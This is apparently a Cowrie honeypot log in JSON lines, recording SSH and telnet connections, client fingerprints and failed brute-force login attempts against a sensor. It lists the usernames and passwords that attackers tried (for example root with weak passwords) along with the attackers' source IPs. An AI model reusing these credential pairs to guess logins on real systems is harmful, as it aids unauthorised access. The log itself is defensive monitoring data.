{"eventid":"cowrie.session.closed","duration":60.356420040130615,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:23:07.147528Z","src_ip":"170.64.224.25","session":"299ad63a94a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.148.179","src_port":36434,"dst_ip":"159.203.135.109","dst_port":22,"session":"e545ae91255a","protocol":"ssh","message":"New connection: 45.61.148.179:36434 (159.203.135.109:22) [session: e545ae91255a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:23:13.054389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:23:13.057850Z","src_ip":"45.61.148.179","session":"e545ae91255a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:23:13.122484Z","src_ip":"45.61.148.179","session":"e545ae91255a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123123","message":"login attempt [minecraft/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:23:13.409132Z","src_ip":"45.61.148.179","session":"e545ae91255a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:23:14.475728Z","src_ip":"45.61.148.179","session":"e545ae91255a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.96264171600342,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:23:15.543214Z","src_ip":"137.184.5.188","session":"db4c67182688","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":47754,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a0f871dcf09","protocol":"telnet","message":"New connection: 107.6.151.170:47754 (159.203.135.109:23) [session: 0a0f871dcf09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:01.299184Z"}
{"eventid":"cowrie.session.closed","duration":0.0858461856842041,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:01.384846Z","src_ip":"107.6.151.170","session":"0a0f871dcf09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":51082,"dst_ip":"10.17.0.5","dst_port":22,"session":"070a145f8c8c","protocol":"ssh","message":"New connection: 51.250.105.222:51082 (10.17.0.5:22) [session: 070a145f8c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:05.373919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:05.377589Z","src_ip":"51.250.105.222","session":"070a145f8c8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41436,"dst_ip":"159.203.135.109","dst_port":23,"session":"00778f34da63","protocol":"telnet","message":"New connection: 170.64.224.25:41436 (159.203.135.109:23) [session: 00778f34da63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:05.449338Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:05.504334Z","src_ip":"51.250.105.222","session":"070a145f8c8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:05.886942Z","src_ip":"51.250.105.222","session":"070a145f8c8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:07.016272Z","src_ip":"51.250.105.222","session":"070a145f8c8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":45444,"dst_ip":"10.17.0.5","dst_port":22,"session":"90bcfc10256c","protocol":"ssh","message":"New connection: 190.244.39.224:45444 (10.17.0.5:22) [session: 90bcfc10256c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:13.973691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:13.979189Z","src_ip":"190.244.39.224","session":"90bcfc10256c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:14.147377Z","src_ip":"190.244.39.224","session":"90bcfc10256c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student!","message":"login attempt [student/student!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:14.824222Z","src_ip":"190.244.39.224","session":"90bcfc10256c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:16.000068Z","src_ip":"190.244.39.224","session":"90bcfc10256c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":38708,"dst_ip":"159.203.135.109","dst_port":23,"session":"5550f220ff53","protocol":"telnet","message":"New connection: 137.184.5.188:38708 (159.203.135.109:23) [session: 5550f220ff53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:18.188038Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.1.93.192","src_port":53528,"dst_ip":"159.203.135.109","dst_port":22,"session":"38fe200a0768","protocol":"ssh","message":"New connection: 198.1.93.192:53528 (159.203.135.109:22) [session: 38fe200a0768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:21.390761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:21.393989Z","src_ip":"198.1.93.192","session":"38fe200a0768","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:21.476517Z","src_ip":"198.1.93.192","session":"38fe200a0768","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"socialfi123","password":"socialfi123","message":"login attempt [socialfi123/socialfi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:21.724292Z","src_ip":"198.1.93.192","session":"38fe200a0768","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":32806,"dst_ip":"10.17.0.5","dst_port":22,"session":"109dcd8ba72f","protocol":"ssh","message":"New connection: 91.92.40.176:32806 (10.17.0.5:22) [session: 109dcd8ba72f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:22.243615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:22.247845Z","src_ip":"91.92.40.176","session":"109dcd8ba72f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:22.329566Z","src_ip":"91.92.40.176","session":"109dcd8ba72f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@123","message":"login attempt [test/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:22.579085Z","src_ip":"91.92.40.176","session":"109dcd8ba72f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:23.663529Z","src_ip":"198.1.93.192","session":"38fe200a0768","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:23.666414Z","src_ip":"91.92.40.176","session":"109dcd8ba72f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.36.195","src_port":55776,"dst_ip":"159.203.135.109","dst_port":22,"session":"d066186312e4","protocol":"ssh","message":"New connection: 118.26.36.195:55776 (159.203.135.109:22) [session: d066186312e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:33.220375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:33.223702Z","src_ip":"118.26.36.195","session":"d066186312e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:33.439692Z","src_ip":"118.26.36.195","session":"d066186312e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.170.38","src_port":56452,"dst_ip":"10.17.0.5","dst_port":22,"session":"5397a846118e","protocol":"ssh","message":"New connection: 160.22.170.38:56452 (10.17.0.5:22) [session: 5397a846118e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:33.832660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:34.042565Z","src_ip":"160.22.170.38","session":"5397a846118e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:34.283466Z","src_ip":"160.22.170.38","session":"5397a846118e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123.com","message":"login attempt [root/abc123.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:34.337174Z","src_ip":"118.26.36.195","session":"d066186312e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:35.558474Z","src_ip":"118.26.36.195","session":"d066186312e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer123123","message":"login attempt [root/qwer123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:35.609720Z","src_ip":"160.22.170.38","session":"5397a846118e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:36.925155Z","src_ip":"160.22.170.38","session":"5397a846118e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.83178782463074,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:40.281002Z","src_ip":"170.64.224.25","session":"00778f34da63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.113.139.51","src_port":56856,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4eebef70da3","protocol":"ssh","message":"New connection: 185.113.139.51:56856 (159.203.135.109:22) [session: f4eebef70da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:40.374014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:40.377414Z","src_ip":"185.113.139.51","session":"f4eebef70da3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:40.476481Z","src_ip":"185.113.139.51","session":"f4eebef70da3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dt123456.","message":"login attempt [root/Dt123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:24:40.906496Z","src_ip":"185.113.139.51","session":"f4eebef70da3","protocol":"ssh"}
